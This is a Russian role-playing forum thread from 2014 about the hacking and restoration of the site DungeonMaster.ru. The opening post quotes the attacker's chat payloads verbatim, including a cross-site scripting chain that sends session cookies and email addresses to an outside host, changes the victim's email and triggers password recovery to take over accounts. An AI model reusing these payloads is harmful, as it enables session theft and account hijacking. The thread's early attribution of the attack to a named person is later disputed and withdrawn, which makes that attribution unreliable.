RPG-ZONE
Новости Форумы Путеводитель FAQ (RPG) Библиотека «Пролёт Фантазии» «Штрихи Пролёта» Дайсы
>  Список форумов · Внутренний город · Трактир «Удар копытом по голове» Здравствуй, Гость (Вход · Регистрация)
Закрыто Боб 27-10-2014: Уже разморожен

Страницы: (3) 1 2 [3]  Открыть все 
 Закрыта
 Новая тема
 Опрос

> Заморозка DungeonMaster.ru
   Первое сообщение.    21.8.2014, 11:24, Боб пишет:
Так. На ДМ произошли крайне неприятные события. Очень надеюсь, там скоро все поправят.
Адекватными мерами, на мой взгляд, являются восстановление сайта и обращение в правоохранительные органы с заявлением о преступлении по ст. 273 УК РФ.

Группа ДМ в Фейсбуке (думаю, ее итак все заинтересованные лица знают) тут: https://www.facebook.com/groups/178980498816975/
Помощи они не просили, но если есть что предложить, это было бы правильно.




Вейлор: решил выделить это в отдельный топик, и всё-таки обсудить, если будут новости.
Я буду писать прямо в пост Боба, всё что становится известно.

Update 24.08.2014

1) Ники хакера, по его сообщениям 19-20 августа в чате.
http://www.dungeonmaster.ru/Cabinet/?user=ololosha 13.12.13
http://www.dungeonmaster.ru/Cabinet/?user=ololoshasha 19.08.14
http://www.dungeonmaster.ru/Cabinet/?user=...oshastrikesback 19.08.14
Также поиск ботов даёт такой ник.
http://dungeonmaster.ru/Cabinet/?user=notdoneyet 19.08.14

2) Его сообщения из чата. 19'го числа были только проверки - работает ли ява-скрипт. 20го был собственно нанесён удар.

http://dungeonmaster.ru/Chat/Logs/19_08_14.txt и http://dungeonmaster.ru/Chat/Logs/20_08_14.txt

17:05 ololoshastrikesback

Код

<img src='http://eblan.org/wp-content/uploads/2011/04/vlastelin1.jpg' onload="jjavascript:var s = document.createElement('script');s.type='text/javascript';document.body.appendChild(s);s.src='http://lsd.bicycle-day.com/lsd.js';void(0);" onclick='' />


17:22 ololoshastrikesback

Код

<a href='http://nyan.cat' onMouseOver='var s = document.createElement("script");s.type="text/javascript";document.body.appendChild(s);s.src="http://lsd.bicycle-day.com/lsd.js";void(0);'>ссылка</a>


17:48 ololoshasha

Код

<a href='http://nyan.cat' onMouseOver='document.body.remove(document.body);'>ссылка</a>


20-08-2014 12:53 ololosha
Код

<a href='http://nyan.cat' onMouseOver='var s = document.createElement("script");s.type="text/javascript";document.body.appendChild(s);s.src="http://ololoshasha.esy.es/poison.php?data=Starting%20"+encodeURIComponent(document.cookie); var iframee=document.createElement("iframe");iframee.style="position:absolute;height:1px;width:1px;z-index:-999;border-width:0px";document.body.appendChild(iframee);iframee.onload=function(){if(window.poisonedd==true){void(0);} else {window.poisonedd=true;var mail = this.contentWindow.document.getElementById("ctl00_mainContent_UserProfile1_txtEmail");var z = document.createElement("script");z.type="text/javascript";document.body.appendChild(z);z.src="http://ololoshasha.esy.es/poison.php?data=OrigMail%20"+encodeURIComponent(mail.value);mail.value = mail.value.toString().split("@")[0]+"@dispostable.com";var w = document.createElement("script");w.type="text/javascript";document.body.appendChild(w);w.src="http://ololoshasha.esy.es/poison.php?data=NewMail%20"+encodeURIComponent(mail.value);window.newmail = mail.value; this.contentWindow.document.getElementById("ctl00_mainContent_btnUpdate").click();var r = document.createElement("script");r.type="text/javascript";document.body.appendChild(r);r.src="http://ololoshasha.esy.es/poison.php?data=Finishing%20"+encodeURIComponent(document.cookie);var iframeee=document.createElement("iframe");iframeee.style="position:absolute;height:1px;width:1px;z-index:-999;border-width:0px";document.body.appendChild(iframeee);iframeee.onload=function(){if(window.poisoneddd==2){void(0);} else if(window.poisoneddd==1) {window.poisoneddd=2;this.contentWindow.document.getElementById("ctl00_mainContent_txtEmail").value=window.newmail;this.contentWindow.document.getElementById("ctl00_mainContent_btnSubmit").click();var r = document.createElement("script");r.type="text/javascript";document.body.appendChild(r);r.src="http://ololoshasha.esy.es/poison.php?data=Finished%20"+encodeURIComponent(document.cookie);} else {window.poisoneddd=1;this.contentWindow.document.getElementById("ctl00_LoginView3_LoginStatus2").click();}};iframeee.src="http://"+document.domain+"/PasswordRecovery.aspx";}};iframee.src="http://"+document.domain+"/EditProfile.aspx";void(0);'>ссылка</a>



3) Мыло для регистрации сайта где лежал скрипт - tlkod@evopo.com - одноразовое, ничего с не вытянуть.

   Сообщение № 61. 26.8.2014, 10:32, AlarDyce пишет:
AlarDyce ( Offline )
Большой Змей

*
Автор
Сообщений: 928
профиль

Репутация: 57
А чего никто не транслирует?

Цитата
Собственно, пожалуй, можно озвучить все официально. Теперь я, Odinarius, по совместительству Moth, новый админ ДМчика. В течение двух, максимум трех дней я планирую перезапустить сайт с необходимым минимумом защиты. Будем надеяться, этого окажется достаточно, но как бы то ни было, у меня будет два дня на то, чтобы продумать тактику в случае повторения боевых действий.
После этих дней я планирую переложить админские полномочия на товарища Инквизитора и удалиться в свое подземелье корпеть над гомункулом - DM v.3. Новости о нем будут возникать на сайте регулярно в последующие недели. О сроках пока промолчу, скажу лишь, что они были заметно укорочены в свете последних событий.
Полагаю, что нет никакого смысла устраивать политические перестановки, судя по всему, команда модеров отлично со своими обязанностями справлялась, но это еще мы с Инквизитором обсудим, я полагаю.
Как бы пафосно это ни звучало, теперь у нас с вами началась совсем новая эра и новая жизнь. Давайте все постараемся, чтобы она для всех оказалась как можно более приятной и продуктивной.
Критического успеха вам всем!

   Сообщение № 62. 26.8.2014, 10:54, GreyB пишет:
GreyB ( Offline )
Странник

*
Адепт
Сообщений: 101
профиль

Репутация: 1
Грей думал все и так в курсе =) даже на ДМ-заглушке висит объявление, что мол работы идут.

   Сообщение № 63. 26.8.2014, 12:10, AlarDyce пишет:
AlarDyce ( Offline )
Большой Змей

*
Автор
Сообщений: 928
профиль

Репутация: 57
Таки не все ФБ мониторят постоянно, а новость из серии "власть меняется", как ни крути. Понятно, что Ракот давно уже остыл к своему детищу, но одно дело собираться и думать, а другое — свершившийся факт.

   Сообщение № 64. 26.8.2014, 17:05, CheZzter пишет:
CheZzter ( Offline )
Странник

*
Неофит
Сообщений: 21
профиль

Репутация: 1
Цитата(Зерг)
Нет, не пытались.
Когда речь шла о мотивах Менша, то сказали, что он обещал отомстить администрации и что он этого так не оставит.
Нак Рош сам увидел там политику, еще приплел евреев и мировые заговоры, лол.

подробности не имеют весомости. я просто попытался дать понять, что никто не ловит лулзы с трагедии (ну лично для меня так) форумных игр.

   Сообщение № 65. 26.8.2014, 17:12, Anderwertz пишет:
Anderwertz ( Offline )
Fallen

*
Архонт
Сообщений: 1499
профиль

Репутация: 148
Знаете ли, ДМ мне тоже не безразличен, понимаете ли я там тоже играл.. В котиков... Это не повод устраивать срач и флуд. Просто ждите когда он аки феникс возродится из пепла.

   Сообщение № 66. 26.8.2014, 20:31, AlarDyce пишет:
AlarDyce ( Offline )
Большой Змей

*
Автор
Сообщений: 928
профиль

Репутация: 57
Опять же трансляция.

Цитата
КОРОТКО О ГЛАВНОМ.
1. На сайте активно ведутся восстановительные работы; выстраиваются редуты против всякого рода инъекций и атак; меняются небезопасные механизмы на безопасные.

2. Ожидаемое возвращение сайта в строй - вечер четверга.

3. Rakot нас покинул, но дело его живо, силами всех ДМчан и, в частности, нового админа - Odinarius'а.

4. После восстановления сайта в фоновом режиме продолжится работа по разработке новой версии ДМа под кодовым названием DM3. Новости о ней будут появляться на сайте в последующие недели.

PS: По вопросам о состоянии сайта и скорости завершения восстановительных работ просьба обращаться только по истечении дедлайна. Но все будет, господа, и в наилучшем виде.

   Сообщение № 67. 28.8.2014, 23:06, AlarDyce пишет:
AlarDyce ( Offline )
Большой Змей

*
Автор
Сообщений: 928
профиль

Репутация: 57
Цитата
Попытка держать народ в курсе происходящего.
1. Подняли пока что сайт на тестовом домене, проверяем на наличие старых дыр.
2. Базу данных приходится собирать буквально по частям, так что велика вероятность, что какие-то части все-таки пропадут.


   Сообщение № 68. 29.8.2014, 13:17, Аскетолог пишет:
Аскетолог ( Offline )
Демон-поэт

*
Графоман
Сообщений: 48
профиль

Репутация: 4
Хм, и когда ожидать его(сайта) "воскрешения для всех"?

   Сообщение № 69. 29.8.2014, 13:25, AlarDyce пишет:
AlarDyce ( Offline )
Большой Змей

*
Автор
Сообщений: 928
профиль

Репутация: 57
Точно не знает никто. Пока в процессе.
Цитата(из Фейсбука)
Черт, это просто коллекция дыр какая-то. Уже такая пачка коммитов в дело пошла. Но скоро я с ними закончу. Однако, проблема в том, что до сих пор не получается полноценно залить бэкап.

   Сообщение № 70. 29.8.2014, 23:47, Вейлор пишет:
Вейлор ( Offline )
днём на работе

*
Администратор
Сообщений: 5418
профиль

Репутация: 1011
С потерями (похоже проблем оказалось больше, чем можно было предполагать), но на финишной прямой.
Цитата(http://dungeonmaster.ru/)

1. База данных успешно восстановлена. Скажем честно, не полностью. Однако:
1.1. Сообщения на форуме восстановлены до 22го марта этого года. Это значит, что ЛИТЕРАТУРНЫЙ КОНКУРС ПОЛНОСТЬЮ ВОССТАНОВЛЕН.
1.2. Банлог восстановлен тоже до того момента. Однако, баны вроде как живы. Это сложный момент, надо еще щупать.
1.3. Сообщения в обсуждах восстановлены до той же даты.
1.4. В общей сложности мы потеряли почти 100к сообщений с форума и обсуждов игр. Минута молчания.
2. Файлы, аватарки и аттачменты утеряны полностью. Можно считать это оплошностью, поскольку я пропустил возможность стырить их с прошлого FTP до того как Юра закрыл свой аккаунт, а можно порадоваться, что загруженные скрипты тоже успешно утеряны. Очень жаль, что так получилось, извините.
3. На тестовой протыкано больше половины страничек, старательно тыкаю остальную половину. Через пять минут попробую восстановить базу уже на боевой и примусь за протыкивание там. Как только буду уверен, что все работает (в течение ночи, я полагаю), уберу заглушку.


- Odinarius

   Сообщение № 71. 30.8.2014, 05:04, AlarDyce пишет:
AlarDyce ( Offline )
Большой Змей

*
Автор
Сообщений: 928
профиль

Репутация: 57
Ну и самый последний апдейт.

Цитата
Ребят, не могу, глаза закрываются уже. Не додумался пива взять себе.
Однако ж, БАЗУ ВОССТАНОВИЛ. Осталось только залить защиту написанную другими труженниками и протыкать ее.
Завтра все точно будет.

ОЧЕНЬ ВАЖНО!!!
Пользователи с никами Tarvagorn и Саюри, напишите мне на quilin@yandex.ru письмо с каким-нибудь подтверждением того, что вы - это вы, и с мылом, которое у вас должно быть.

- Odinarius

   Сообщение № 72. 31.8.2014, 10:30, AlarDyce пишет:
AlarDyce ( Offline )
Большой Змей

*
Автор
Сообщений: 928
профиль

Репутация: 57
И длинная финишная прямая.
Цитата(Владислав Килин)
11 ч.
Переношу модули. В процессе. Предсказывать уже не особо получается. На очереди:
1. Персонажи.
2. Посты.
3. Настраиваемые характеристики.
И ВСЕ, ВКЛЮЧИМ ДМЧИК!!!

2 ч.
Семь часов переносятся характеристики. Пипец просто.

   Сообщение № 73. 1.9.2014, 18:56, AlarDyce пишет:
AlarDyce ( Offline )
Большой Змей

*
Автор
Сообщений: 928
профиль

Репутация: 57
Всем радоваться, работает (%

   Сообщение № 74. 1.9.2014, 19:09, Боб пишет:
Боб ( Offline )
Don't boil me

*
Босс
Сообщений: 18557
профиль

Репутация: 1516
Поздравляю!
:happy:

   Сообщение № 75. 1.9.2014, 22:36, Вейлор пишет:
Вейлор ( Offline )
днём на работе

*
Администратор
Сообщений: 5418
профиль

Репутация: 1011
О, круто. Я даже смог залогиниться под старым профилем) Поздравляю.

   Сообщение № 76. 2.9.2014, 01:55, bookwarrior пишет:
bookwarrior ( Offline )
заслуженный мимокрокодил форума

*
Владыка Тьмы
Сообщений: 7460
профиль

Репутация: 220
Странно, у меня что-то после выполнения их просьбы сменить пароль зайти не получается.

   Сообщение № 77. 2.9.2014, 03:48, AlarDyce пишет:
AlarDyce ( Offline )
Большой Змей

*
Автор
Сообщений: 928
профиль

Репутация: 57
На воду дуют, то есть, перестраховались еще раз от угонов ололоши. Меня тоже скинуло, хоть пароль и почту сменил вчера при входе, но, правда, попустило снова без проблем. А как раз для тех, у кого зайти не получается, выложены реквизиты.

Текст спрятан. Кликнуть для отображения.

   Сообщение № 78. 24.10.2014, 11:35, Карнаух пишет:
Карнаух
Неавторизованный пользователь




Даамц - решил поискать ссылки в яндексе на свой сайтец и на такое наткнулся.
Узнал про себя много нового=)Ток вот ваши ФРПГ мне явно были неинтересны. С чего вы вообще прикрепили меня к данному взлому?

   Сообщение № 79. 24.10.2014, 11:58, Карнаух пишет:
Карнаух
Неавторизованный пользователь




Да и для справки домен ololosha.esy.es был моим. Как и karnaukh.tk. Домен на котором были инструменты для взлома ФРПГ мне не знаком. Следопыты из вас никудышные. И к тому же не вижу связи между моей ненавистью к Путину и прочим политическим контрацептивам с причиной для взлома. Я всё таки в свои 15-16 тоже зависал на ФРПГшке.

   Сообщение № 80. 24.10.2014, 13:07, Вейлор пишет:
Вейлор ( Offline )
днём на работе

*
Администратор
Сообщений: 5418
профиль

Репутация: 1011
Ссылки на соц.сети и имена будут стерты сегодня примерно через 3 часа т.к. предположения о связи с хацкером не нашли реального подтверждения. Мои извинения что не сделал это раньше. Сначала надеялся на новую информацию, потом тема забылась.

Из последней более-менее интересной информации было похоже что концы вели в Москву или Питер. Но и это не факт что были реальные IP. Известные еМайлы использовались одноразовые.
Как рядовые пользователи интернета, без данных провайдеров и хостеров (а возможно и с ними) мы уже похоже ничего не узнаем, да и как я понимаю интерес уже у всех угас.

0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей);
« Предыдущая тема | Трактир «Удар копытом по голове» | Следующая тема »

Яндекс.Метрика